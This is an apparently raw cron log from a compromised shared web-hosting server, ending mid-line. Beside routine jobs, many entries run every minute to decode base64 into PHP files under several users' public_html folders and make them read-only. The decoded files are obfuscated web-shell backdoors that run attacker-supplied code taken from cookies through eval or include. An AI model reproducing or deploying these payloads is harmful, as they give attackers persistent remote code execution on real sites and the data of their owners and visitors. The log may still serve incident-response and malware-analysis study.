"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:36:01 medusa CROND[15358]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:37:01 medusa CROND[5058]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:37:01 medusa CROND[5059]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:37:01 medusa CROND[5060]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:37:01 medusa CROND[5061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:37:01 medusa CROND[5062]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:37:01 medusa CROND[5064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:37:01 medusa CROND[5066]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:37:01 medusa CROND[5069]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 11:37:01 medusa CROND[5070]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:37:01 medusa CROND[5071]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:37:01 medusa CROND[5073]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:37:01 medusa CROND[5075]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 11:37:01 medusa CROND[5076]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:38:02 medusa CROND[27290]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:38:02 medusa CROND[27291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:38:02 medusa CROND[27292]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:38:02 medusa CROND[27293]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:38:02 medusa CROND[27295]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:38:02 medusa CROND[27297]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 11:38:02 medusa CROND[27298]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:38:02 medusa CROND[27299]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:38:02 medusa CROND[27300]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:38:02 medusa CROND[27301]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:38:02 medusa CROND[27305]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:38:02 medusa CROND[27319]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:38:02 medusa CROND[27316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:39:01 medusa CROND[16602]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 11:39:01 medusa CROND[16667]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:39:01 medusa CROND[16679]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:39:01 medusa CROND[16680]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0Z